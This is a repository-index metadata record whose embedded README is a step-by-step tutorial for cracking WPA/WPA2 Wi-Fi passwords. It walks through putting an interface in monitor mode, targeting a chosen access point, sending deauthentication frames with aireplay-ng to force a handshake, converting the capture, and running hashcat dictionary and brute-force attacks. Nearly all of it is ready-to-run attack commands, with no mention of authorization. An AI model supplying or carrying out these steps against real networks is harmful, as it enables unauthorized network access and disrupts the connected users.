{"id":13307156,"url":"https://github.com/jspw/Crack-WIFI-WPA2","last_synced_at":"2025-03-10T14:32:29.259Z","repository":{"id":41237458,"uuid":"180644842","full_name":"jspw/Crack-WIFI-WPA2","owner":"jspw","description":"Get handshake and crack wpa/wpa2 security wifi passwords","archived":false,"fork":false,"pushed_at":"2022-04-05T15:37:47.000Z","size":784,"stargazers_count":101,"open_issues_count":0,"forks_count":23,"subscribers_count":5,"default_branch":"master","last_synced_at":"2024-07-29T18:44:00.977Z","etag":null,"topics":["aircrack-ng","airmon-ng","airodump-ng","c","capture","cpp","crack","crack-password","handshake","hashcat","hccapx"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jspw.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-04-10T18:53:58.000Z","updated_at":"2024-07-29T10:21:34.000Z","dependencies_parsed_at":"2022-08-31T10:23:29.661Z","dependency_job_id":null,"html_url":"https://github.com/jspw/Crack-WIFI-WPA2","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jspw%2FCrack-WIFI-WPA2","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jspw%2FCrack-WIFI-WPA2/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jspw%2FCrack-WIFI-WPA2/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jspw%2FCrack-WIFI-WPA2/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jspw","download_url":"https://codeload.github.com/jspw/Crack-WIFI-WPA2/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":242868543,"owners_count":20198500,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["aircrack-ng","airmon-ng","airodump-ng","c","capture","cpp","crack","crack-password","handshake","hashcat","hccapx"],"created_at":"2024-07-29T17:59:34.551Z","updated_at":"2025-03-10T14:32:28.871Z","avatar_url":"https://github.com/jspw.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"## Crack WIFI Password (WPA/WPA2) using Aircrack-ng\n\nPrerequirments :\n\n- Aircrack-ng : `sudo apt install aircrack-ng`\n- **GPU** for `hashcat`\n\n### Lets capture the flag (I mean \\*Handshake):\n\nOpen terminal.....\n\n#### Terminal-1:\n\n1. Detect your wireless network interface :\n\n   \u003e ifconfig\n\n   ![Network interface](images/interfaces.png)\n\n   **Note:** Here \u003ci\u003ewlp3s0\u003c/i\u003e is my wireless interface.\n\n   **if coudn't find command then try :**\n\n   \u003e /sbin/ifconfig\n\n2. Start monitor mode :\n\n   \u003e sudo airmon-ng start wlp3s0\n\n   ![Monitor mode](images/monitor_mode.png)\n\n3. capture traffic :\n\n   \u003e sudo airodump-ng wlp3s0mon\n\n   ![Monitoring](images/monitoring.png)\n\n#### Terminal-2:\n\n4. select target and focus on one AP on channel:\n\n   \u003e sudo airodump-ng --bssid xx.xx.xx.xx.xx.xx -c y --write filename wlp3s0mon\n\n   - **xx.xx.xx.xx.xx.xx** defines : **AP BSSID** -\u003e 00.11.22.33.44.55 (suppose)\n   - **y** defines : **AP channel** -\u003e 10 (suppose)\n   - **filename** is the file name where the **handshake** will captute and make some other stuffs .\n\n   ![Target Monitoring](images/target.png)\n\n#### Terminal-3:\n\n5. Send traffic to the channel :\n\n   \u003e sudo aireplay-ng --deauth y -a xx.xx.xx.xx.xx.xx wlp3s0mon\n\n   - ammoun of **traffic**-\u003e y\n\n   ![Deauth](images/deauth.png)\n\n6. Capture handshake : it will be shown in the monitor if captured ! at **Terminal-2**.\n\n   ![Captured handshake](images/handshake_captured.png)\n\n7. Now you got the handshake **(terminal-2)**\n8. Stop the process of terminal-2 : `ctrl+c`\n\n### Now Lets crack the password !\n\n**There will be a WPAcrack-01.cap file in your home directory**\n\n1. convert cap file into hccapx file : https://www.onlinehashcrack.com/tools-cap-to-hccapx-converter.php\n\nor\n\n1.  use **cap2hccapx.c** file to convert the **cap** file to **hccapx** file\n\n    \u003e gcc cap2hccapx.c -o cap2hccapx \u0026\u0026 ./cap2hccapx file.cap file.hccapx\n\n    ![cap to hcappx](images/capToHccapx.png)\n\n    **Note :** cap to pkid (in case of pkid) :\n\n    \u003e hcxpcaptool -z pmkidhash suva-01.cap\n\n1.  Crack password using **hashcat** :\n\n    - **Install hashcat :** `sudo apt install hashcat`\n    - check is everything oky ? : `hashcat -I` **to use hashcat you need gpu**\n    - crack password :\n\n      \u003e hashcat -m 2500 wpacrack.hccapx dictionary.txt\n\n      - dictionary.txt -\u003e word list (suppose)\n      - wpacrack.hccapx is the handshake file\n\n      ![Hashcat running](images/hashcat.png)\n\n      ![Hashcat Status](images/hashcat_status.png)\n\n- Bruteforce :\n  Example (bruteforce for length 8 password using 0-9 digits) :\n\n  \u003e hashcat -a 3 -m 16800 pmkidhash ?d?d?d?d?d?d?d?d\n\n  Then you will get the password (if you are lucky enough).\n  ![password](images/pass.png)\n  here password : secret\n\n- Others :\n  All ready cracked pass check :\n\n  \u003e hashcat -m 2500 test.hccapx rockyou.txt --show\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjspw%2FCrack-WIFI-WPA2","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjspw%2FCrack-WIFI-WPA2","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjspw%2FCrack-WIFI-WPA2/lists"}